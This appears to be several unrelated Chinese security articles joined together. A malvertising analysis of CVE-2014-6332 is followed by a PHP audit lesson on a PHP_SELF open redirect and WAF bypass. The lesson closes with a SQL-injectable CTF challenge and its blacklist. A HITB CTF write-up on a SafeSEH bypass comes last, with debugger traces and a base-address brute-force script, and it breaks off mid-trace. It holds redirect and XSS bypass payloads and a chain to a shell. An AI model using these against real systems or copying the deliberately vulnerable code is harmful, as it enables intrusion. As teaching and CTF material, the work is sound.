此漏洞挂马之所以会大规模爆发，根本原因是有广告联盟投放了包含恶意代码的广告，“带毒广告”便会随机展示在加入联盟的数十家网站和软件客户端上，试图触发微软CVE-2014-6332漏洞自动下载和运行木马，主要影响2014年已停止补丁更新的Windows
XP系统。据统计，近期360安全卫士“XP盾甲”对此漏洞挂马的拦截量日均超过10万次。目前360已通报被挂马的软件厂商，提醒对方尽快清除恶意广告。
**挂马分析**
以下就是“带毒广告”的样式，表面上只是申请信用卡，暗地里却在寻找系统中的安全漏洞进行攻击。
通过对广告代码分析，可以发现它带有CVE-2014-6332漏洞的攻击代码，没有安装相应补丁或开启360安全防护的电脑会受到影响。
漏洞触发之后，会通过命令行在本地写入一个vbs脚本，是一个典型的下载者：
脚本功能很简单，执行之后，下载一个名为dd8_date.exe的下载者木马。该木马带有反虚拟机的功能，意图逃避一些自动检测工具。
木马开始运行，它的作用是访问黑客指定的一个地址去下载安装各种推广软件。
下载器的云控地址在 m.020kangfu.com/s.ini
攻击者对云控配置也做了加密处理：
不过，可以从木马样本中找到解密的key与解密方法
之后解出来的结果包括推广的软件列表，url列表，检测的环境列表等。图中显示的是界面出来的环境检测列表，包括是否是虚拟机，安装的杀毒软件情况，是否是网吧环境等：
再之后木马开始真正工作，修改受害者浏览器首页：
进行打点统计和软件推广等。
木马强制在受害者电脑安装软件以赚取推广费用，推广的软件包括金山桌面、QQ电脑管家、瑞星杀毒等。不良渠道利用非法手段进行推广获利，这是长期困扰中国网民的顽疾，希望各大软件商严格规范渠道行为，尽量避免此类情况发生。对于严重侵害网民权益的不良渠道，应使用法律武器严厉打击。
**安全建议**
近年来客户端挂马事件频繁发生，主要是广告联盟的审核机制存在疏漏，恶意代码得以趁虚而入。对此软件客户端应加强对广告代码的审核。
对普通用户来说，应及时安装Windows和Adobe Flash
Player等系统和常用软件补丁，切莫被“打补丁会拖慢电脑”的谣言误导，这样就可以自动免疫黑客针对已知漏洞的挂马攻击。已经停止安全更新的Windows
XP系统，应安装使用具备漏洞防护能力的360安全卫士“XP盾甲”，能够把木马入侵的风险降到最低。 | 社区文章 |
本文由红日安全成员： **DYBOY** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第15篇**
代码审计文章：
## Day 15 - Sleigh Ride
题目叫做滑雪橇，代码如下：
**漏洞解析** ：
这一关主要考察的是 **$_SERVER['PHP_SELF']** 引发的一个任意网址跳转漏洞
首先，分析一下程序的运行
* 如果有 **$_GET['redirect']** 参数，那么就 New 一个 **Redirect** 对象，同时调用 **Redirect** 类的 **startRedirect** 方法
* **startRedirect** 函数接受一个 **GET** 类型的 **params** 参数，然后在 **explode()** 函数中，将 **$_SERVER['PHP_SELF']** 得到的值，以 **/** 分割成一个 **$parts** 数组。
* **$baseFile** 的值为 **$parts** 数组的最后一个值
* **$url** 的值为 **$baseFile?http_build_query($params)** ，其中的 **http_build_query()** 函数就是一个将参数进行URL编码的一个操作，比如 **$params='test=123'**
* 然后调用 **setHeaders** 函数，首先解码 **$url** 参数，然后 **header()** 函数直接跳转 **$url**
**$_SERVER['PHP']** 存在的问题：
初看这个程序没什么问题，但是PHP自带的 **$_SERVER['PHP_SELF']** 参数是可以控制的。其中 **PHP_SELF**
指当前的页面绝对地址，比如我们的网站： **<http://www.test.com/redict/index.php>** ，那么
**PHP_SELF** 就是 **/redict/index.php** 。但有个小问题很多人没有注意到，当 **URL** 是
**PATH_INFO** 的时候，比如： **<http://www.test.com/redict/index.php/admin>** ，那么
**PHP_SELF** 就是 **/redict/index.php/admin** 也就是说，其实 **PHP_SELF** 有一部分是我们可以控制的。
双编码问题：
URL本来是被浏览器编码过一次，服务器接收到来自浏览器URL请求的时候，会将URL解码一次，由于在程序中我们看到有 **urldecode()**
函数存在，它会再次解码一次URL，此时双编码URL就可以利用，用于绕过某些关键词检测。比如将 **/** 编码为： **%252f**
漏洞利用：
比如我们要跳转到我的博客： **blog.dyboy.cn** ，那么就可以构造 **Payload** ：
**[http://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test¶ms=test123](http://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test¶ms=test123)**
，访问即可重定向跳转到 **<http://blog.dyboy.cn>** 网址。如下图所示，发生了 **302** 跳转：
## 实例分析
其实关于这个漏洞的利用，是有很多src案例的。但是都是黑盒测试，不是很清楚后台的代码怎么设计的，这里可以提及到一个关于 **360webscan**
的防护脚本一个历史漏洞，正是使用了 **$_SERVER['PHP_SELF']**
这个变量，导致可以绕过360webscan防护脚本的防护，脚本的防护效果失效，现在此防护脚本更新了。
最新版下载地址： <http://webscan.360.cn/protect/down?domain=www.test.com>
旧版本下载地址：<https://www.lanzous.com/i1qj0qh>
其结构为：
因为这只是一个防护的辅助脚本，任何的程序都可以安装使用，这里就以 **Emlog5.3.1**
博客程序为例子，程序不重要，这个脚本可以安装接入到任何的程序中。
安装的方法：解压得到 **360safe** 文件夹，之后上传到我们的网站根目录中，同时在任意的全局文件中加入如下代码即可安装成功：
在按照上述安装方法安装后，测试访问：
`http://www.test.com/index.php?test=<script>alert(1)</script>` ，XSS拦截显示：
比如GET传递的数据存在SQL注入恶意字符都会被拦截，虽然本脚本的正则过滤规则很好了，但是通过这一个 **$_SERVER['PHP_SELF']**
，可以通过白名单规则绕过攻击防护。
在存在绕过漏洞的360webscan历史版本中，如下图 **第194-219行** 的的代码（拦截目录白名单检测）：
在上图的 **第5行** ，我们看到 **$url_path** 的值是直接取的 **$_server['PHP_SELF']**
的值，同时没有做任何的验证或过滤。那么我们只要在请求的URL（提交的参数中）存在白名单目录，那么就可以绕过安全检测。
因为在 **webscan_cache.php** 中的默认的白名单目录存在 **admin** 。
然后我们访问：
**<http://www.test.com/index.php/admin?test=%3Cscript%3Ealert(1)%3C/script%3E>**
此处虽然返回的状态码是 **404** ，但是，我们发现已经不再拦截了，如果再配合某些CMS或者PHP系统的伪静态特殊性，那么就可以成功的绕过防护。
## 修复建议
本次审计的其实不是漏洞，主要是一个 **$_SERVER['PHP_SELF']**
的问题，再遇上某系伪静态规则配合下，就会导致各种由此形成的各种漏洞。因此，这里推荐使用 **$_SERVER['SCRIPT_NAME']**
代替即可，同时，我们可以看到在最新的360webscan中已经更新了这个问题，并且就是使用 **$_SERVER['SCRIPT_NAME']** 。
## 结语
看完了上述分析，不知道大家是否对 **$_SERVER['PHP_SELF']**
有了更加深入的理解，文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 [email protected] 联系我们。
**Day15** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
// index.php
<?php
include "./config.php";
include "./flag.php";
error_reporting(0);
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");
$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}
$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}
if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>
// config.php
<?php
$servername = "localhost";
$username = "root";
$password = "toor";
$dbname = "day15";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
?>
// flag.php
<?php
$flag = "HRCTF{Sql_and_byPass_WAF!}";
?>
// 题目环境.sql
DROP DATABASE IF EXISTS day15;
CREATE DATABASE day15;
USE day15;
CREATE TABLE users (
id int(6) unsigned auto_increment primary key,
user varchar(20) not null,
pwd varchar(40) not null
);
INSERT INTO users(user,pwd) VALUES('Lucia','82ebeafb2b5dede380a0d2e1323d6d0b');
INSERT INTO users(user,pwd) VALUES('Admin','c609b5eda02acd7b163f500cb23b06b1');
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 相关文章
[360webscan防注入脚本全面绕过](https://www.leavesongs.com/penetration/360webscan-bypass.html)
[[PHP防火墙]输入内容存在危险字符,安全起见,已被本站拦截](https://blog.dyboy.cn/websecurity/73.html) | 社区文章 |
# 【CTF攻略】HITB GSEC CTF Win Pwn解题全记录之babyshellcode
|
##### 译文声明
本文是翻译文章，文章来源：whereisk0shl.top
原文地址：<https://whereisk0shl.top/hitb_gsec_ctf_babyshellcode_writeup.html>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
****
这次在HITB GSEC CTF打酱油，也有了一次学习的机会，这次CTF出现了两道Windows
pwn，我个人感觉质量非常高，因为题目出了本身无脑洞的漏洞之外，更多的让选手们专注于对Windows系统的防护机制（seh）原理的研究，再配合漏洞来完成对机制的突破和利用，在我做完之后重新整理整个解题过程，略微有一些窒息的感觉，感觉整个利用链环环相扣，十分精彩，不得不膜一下Atum大佬，题目出的真的好！对于菜鸟来说，是一次非常好的锻炼机会。
因此我认真总结了我们从拿到题目，多种尝试，不断改进exp，到最后获得shell的整个过程，而不仅仅是针对题目，希望能对同样奋斗在win
pwn的小伙伴有一些帮助。
**Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10**
****
拿到题目的时候，我们发现程序存在一个很明显的栈溢出，而且题目给的一些条件非常好，在栈结构中存在SEH链，在常规的利用SEH链进行栈溢出从而控制eip的过程中，我们会使用栈溢出覆盖seh
handler，这是一个seh chain中的一个指针，它指向了异常处理函数。
但是程序中开启了safeseh，也就是说，单纯的通过覆盖seh handler跳转是不够的，我们首先需要bypass safeseh。
OK，我们来看题目。
在题目主函数中，首先在 **scmgr.dll** 中会初始化存放shellcode的堆，调用的是 **VirtualAlloc**
函数，并且会打印堆地址。
v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意这里的flprotect是0x40
dword_1000338C = (int)v0;
if ( v0 )
{
sub_10001020("Global memory alloc at %pn", (char)v0);//打印堆地址
result = dword_1000338C;
dword_10003388 = dword_1000338C;
}
这里 **VirtualAlloc** 中有一个参数是flprotect，值是0x40，表示拥有RWE权限。
#define PAGE_EXECUTE_READWRITE 0x40
这个堆地址会用于存放shellcode，在CreateShellcode函数中会将shellcode拷贝到Memory空间里。
v4 = 0;//v4在最开始拷贝的时候值是0
⋯⋯
v11 = (int)*(&Memory + v4);//将Memory地址指针交给v11
v13 = getchar();
v14 = 0;
if ( v12 )
{
do
{
*(_BYTE *)(v14++ + v15) = v13;//为Memory赋值
v13 = getchar();
}
while ( v14 != v12 );
v4 = v16;
}
执行结束之后可以看到shellcode已经被拷贝到目标空间中。
随后执行runshellcode指令的时候，会调用“虚函数”，这里用引号表示，其实并不是真正的虚函数，只是虚函数的一种常见调用方法（做了CFG
check，这里有个小插曲），实际上调用的是 **VirtualAlloc** 出来的堆的地址。
v4 = *(void (**)(void))(v1 + 4);
__guard_check_icall_fptr(*(_DWORD *)(v1 + 4));
v4();
可以看到这里有个CFG
check，之前我们一直以为环境是Win7，在Win7里CFG没有实装，这个在我之前的一篇IE11浏览器漏洞的文章中也提到过（[https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html](https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html)），因此这个Check是没用的，但是后来得知系统是Win10（这个后面会提到），这里会检查指针是否合法，这里无论如何都会合法，因为v1+4位置的值控制不了，这里就是指向堆地址。
这里跳转到堆地址后会由于shellcode头部4字节被修改，导致进入堆地址后是无效的汇编指令。
byte_405448 = 1;
puts("Hey, Welcome to shellcode test system!");
if ( byte_405448 )
{
v3 = *(_DWORD **)(v1 + 4);
memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//这里没有对长度进行控制，造成栈溢出
*v3 = -1;
}
byte_405448是一个全局变量 **is_guard**
，它在runshellcode里决定了存放shellcode堆指针指向的shellcode前4字节是否改成0xffffffff，这里byte_405448的值是1，因此头部会被修改，而我们也必须进入这里，只有这里才能造成栈溢出。
0:000> g
Breakpoint 1 hit
eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x13f3:
00a113f3 c706ffffffff mov dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode头部被修改前正常
0:000> dd e0000 l1
000e0000 61616161
0:000> p
eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x13f9:
00a113f9 8b7704 mov esi,dword ptr [edi+4] ds:0023:0048e434=000e0000
0:000> dd e0000 l1//头部被修改成0xffffffff
000e0000 ffffffff
随后我们跳转到头部执行，由于指令异常进入异常处理模块。
0:000> p
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x1404:
00a11404 ffd6 call esi {000e0000}//跳转到堆
0:000> t
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
000e0000 ff ???//异常指令
0:000> p//进入异常处理模块
(20f90.20f9c): Illegal instruction - code c000001d (first chance)
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!KiUserExceptionDispatcher+0x1:
770b6bc9 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c
利用SEH是栈溢出里常见的一种利用方法，在没有SafeSEH和SEHOP的情况下，可以利用seh里一个特殊的结构seh
handler，通过覆盖它来完成eip/rip的控制，它指向的是异常处理函数，而加入了safeseh之后，会对sehhandler进行check，检查它是否可信，不可信的话返回0，则不会跳转到seh
handler。而这个safeseh的check在ntdll的RtlIsValidHandler函数中，几年前Alex就发了关于这个函数的解读，现在伪代码遍地都是了。
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image)//step 1
{
// 在加载模块的进程空间
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE; // 该标志设置，忽略异常处理，直接返回FALSE
if (image has a SafeSEH table) // 是否含有SEH表
if (handler found in the table)
return TRUE; // 异常处理handle在表中，返回TRUE
else
return FALSE; // 异常处理handle不在表中，返回FALSE
if (image is a .NET assembly with the ILonly flag set)
return FALSE; // .NET 返回FALSE
// fall through
}
if (handler is on a non-executable page)//step 2
{
// handle在不可执行页上面
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP关闭，返回TRUE；否则抛出异常
else
raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
}
if (handler is not in an image)//step 3
{
// 在加载模块内存之外，并且是可执行页
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允许在加载模块内存空间外执行，返回验证成功
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}
首先我们想到的是利用堆指针来bypass
safeseh，正好这个堆地址指向的shellcode，但是由于头部四字节呗修改成了0xffffffff，因此我们只需要覆盖seh handler为heap
address＋4，然后把shellcode跳过开头4字节编码，头4字节放任意字符串（反正会被编码成0xffffffff），然后后面放shellcode的内容，应该就可以达到利用了（事实证明我too
young too naive了，这个方法在win xp下可以用。）
于是我们想到的栈布局如下：
但我们这样执行后，在windows xp下可以完成，但是win7下依然crash了，这就需要我们跟进 **ntdll!RtlIsValidHandler**
函数，回头看下伪代码部分。
这里有三步check，首先step1，if是不通过的因为堆地址属于加载进程外的地址，同理step2也是不通过的，因为堆地址申请的时候是可执行的，之所以用堆绕过SafeSEH是因为堆地址属于当前进程加载内存映像空间之外的地址。
0:000> !address e0000
Usage: <unclassified>
Allocation Base: 000e0000
Base Address: 000e0000
End Address: 000f4000
Region Size: 00014000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
那么safeseh进入step
3，又是加载模块内存之外的，又是可执行的，在winxp，通过堆绕过是可行的，但是在Win7及以上版本就不行了，为什么呢，因为这里多了一个Check，内容是
**MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE** ，它决定了是否允许在加载模块内存空间外执行。
这里只有当第六个比特为1时，才是可执行的
这里值是0x4d，也就是1001101，第六个比特是0，也就是 **MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE**
是不允许的，因此会return FALSE。
0:000> p
eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000
eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
ntdll!RtlIsValidHandler+0xff:
77100224 8a450c mov al,byte ptr [ebp+0Ch] ss:0023:002bf2bc=4d
0:000> p
eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlIsValidHandler+0xfc:
7708f88d c20800 ret 8
0:000> p
eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=0
通过堆绕过的方法失败了，我们又找到了其他方法，就是通过未开启safeseh的dll的方法来绕过safeseh，这里我们找到了 **scmgr.dll**
，它是一个未开启safeseh的模块，这个可以直接通过od的OllySSEH功能看到SafeSEH的开启状态。
这里我们只需要把seh
handler指向scmgr.dll就可以了，而且我们在scmgr.dll里发现，其实system('cmd')已经在里面了，只需要跳转过去就可以了。
.text:10001100 public getshell_test
.text:10001100 getshell_test proc near ; DATA XREF: .rdata:off_10002518o
.text:10001100 push offset Command ; "cmd"
.text:10001105 call ds:system
.text:1000110B ; 3: return 0;
.text:1000110B add esp, 4
.text:1000110E xor eax, eax
.text:10001110 retn
.text:10001110 getshell_test endp
但是这里有一个问题，就是scmgr.dll的基址是多少，这里我们想了两种方法来获得基址，一个是爆破，因为我们发现scmgr.dll在每次进程重启的时候基址都不变，因此我们只需要在0x60000000-0x8000000之间爆破就可以，0x8000000之上是内核空间的地址了，因此只需要爆破这个范围即可。（由于刚开始以为是win7，所以爆破的时候有一点没有考虑到，导致目标总是crash，我们也找不到原因，本地测试是完全没问题的，后面会提到）。
还有一种方法是我们看到了set shellcodeguard函数，这个就是我们之前提到对 **is_guard**
那个全局变量设置的函数，但实际上，这个也没法把这个值置0，毕竟置0之后直接就能撸shellcode了，但我们关注到Disable Shellcode
Guard中一个有趣的加密。
puts("1. Disable ShellcodeGuard");
puts("2. Enable ShellcodeGuard");
⋯⋯
if ( v2 == 1 )//加密在这里
{
v3 = ((int (*)(void))sub_4017F0)();
v4 = sub_4017F0(v3);
v5 = sub_4017F0(v4);
v6 = sub_4017F0(v5);
v7 = sub_4017F0(v6);
v8 = sub_4017F0(v7);
sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%xn", v8);
puts("challenge response:");
v9 = 0;
v10 = getchar();
do
{
if ( v10 == 10 )
break;
++v9;
v10 = getchar();
}
while ( v9 != 20 );
puts("respose wrong!");
}
else//当v2为0的时候是Enable Shellcode Guard，全局变量置1
{
if ( v2 == 2 )
{
byte_405448 = 1;
return 0;
}
puts("wrong option");
}
这个加密其实很复杂的。
后来官方也给出了hint，Hint for babyshellcode: The algorithm is neither irreversible nor
z3-solvable.告诉大家这个加密算法不可逆，别想了！
先我们来看一下这个加密算法加密的什么玩意，我们跟入这个算法。
0:000> p
eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0
eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0 ov up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a07
babyshellcode+0x1818:
*** WARNING: Unable to verify checksum for C:Userssh1Desktopscmgr.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Userssh1Desktopscmgr.dll -
00a11818 3334955054a100 xor esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}
发现在算法初始化的时候，加密的是 **scmgr!init_scmgr**
的地址，也就是67bc1090，这个就厉害了，既然不可逆，我们把这个算法dump出来正向爆破去算，如果结果等于最后加密的结果，那就是碰到基址了，这样一是不用频繁和服务器交互，二是及时dll每次进程重启基址都改变，也能直接通过这种方法不令进程崩溃也能获得到基址。
def gen_cha_code(base):
init_scmgr = base*0x10000 +0x1090
value = init_scmgr
g_table = [value]
for i in range(31):
value = (value * 69069)&0xffffffff
g_table.append(value)
g_index = 0
v0 = (g_index-1)&0x1f
v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)
v1 = g_table[v0]
v3 = g_table[(g_index + 10) & 0x1F]
v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
v4 = v4&0xffffffff
g_table[g_index] = v2^v4
g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff
g_index = (g_index - 1) & 0x1F
return g_table[g_index]
这样，获取到基址之后，我们就能够构造seh handler了，直接令seh
handler指向getshell_test就直接能获得和目标的shell交互了。通过栈溢出覆盖seh chain。
0:000> !exchain
0016fcf8: scmgr!getshell_test+0 (67bc1100)
Invalid exception stack at 0d16fd74
进入safeseh，由于在nosafeseh空间，返回true，该地址可信。
0:000> p
eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000
eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff call ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000
eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=1
进入call seh handler，跳转到getshell_test。
0:000> p
eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
770b6d74 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)}
0:000> p
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
770b6d77 ffd1 call ecx {scmgr!getshell_test (72b61100)}
0:000> t
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
scmgr!getshell_test:
72b61100 68f420b672 push offset scmgr!getshell_test+0xff4 (72b620f4)
到这里利用就完整了吗？我们在win7下没问题了，但是在目标却一直crash掉，实在是搞不明白，后来才知道，我们用错了环境！原来目标是Win10…
Win10的SafeSEH和Win7又有所区别，这里要提到SEH的两个域，一个是prev域和handler域，prev域会存放一个指向下一个seh
chain的栈地址，handler域就是存放的seh handler，而Win10里面多了一个Check函数
**ntdll!RtlpIsValidExceptionChain** ，这个函数会去获得当前seh chain的prev域的值。
0:000> p//这里我们覆盖prev为0x61616161
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000
eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!RtlpIsValidExceptionChain+0x2b:
7771ea79 8b31 mov esi,dword ptr [ecx] ds:002b:030ff7ac=61616161
0:000> p
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!RtlpIsValidExceptionChain+0x2d:
7771ea7b 83feff cmp esi,0FFFFFFFFh
0:000> p
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x30:
7771ea7e 740f je ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]
随后，会去和seh表里存放的prev域的值进行比较。
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x3c:
7771ea8a 8d53f8 lea edx,[ebx-8]
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x3f:
7771ea8d ebd6 jmp ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65)
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x17:
7771ea65 3bc1 cmp eax,ecx//ecx寄存器存放的是栈里被覆盖的，eax存放的是正常的pointer to next chain
可以看到这里检测是不通过的，因此造成了crash，所以，我们需要对seh chain进行fix，把pointer to next
chain修改成下一个seh
chain的栈地址，这就需要我们获取当前的栈地址，栈地址是自动动态申请和回收的，和堆不一样，因此每次栈地址都会发生变化，我们需要一个stack info
leak。
于是我们在程序中找到了这样一个stack info leak的漏洞，开头有个stack info leak，在最开始的位置。
v1 = getchar();
do
{
if ( v1 == 10 )
break;
*((_BYTE *)&v5 + v0++) = v1;
v1 = getchar();
}
while ( v0 != 300 );
sub_4017C0("hello %sn", &v5);
0:000> g//一字节一字节写入，esi是计数器，ebp-18h是指向拷贝目标的指针
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f920=00
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
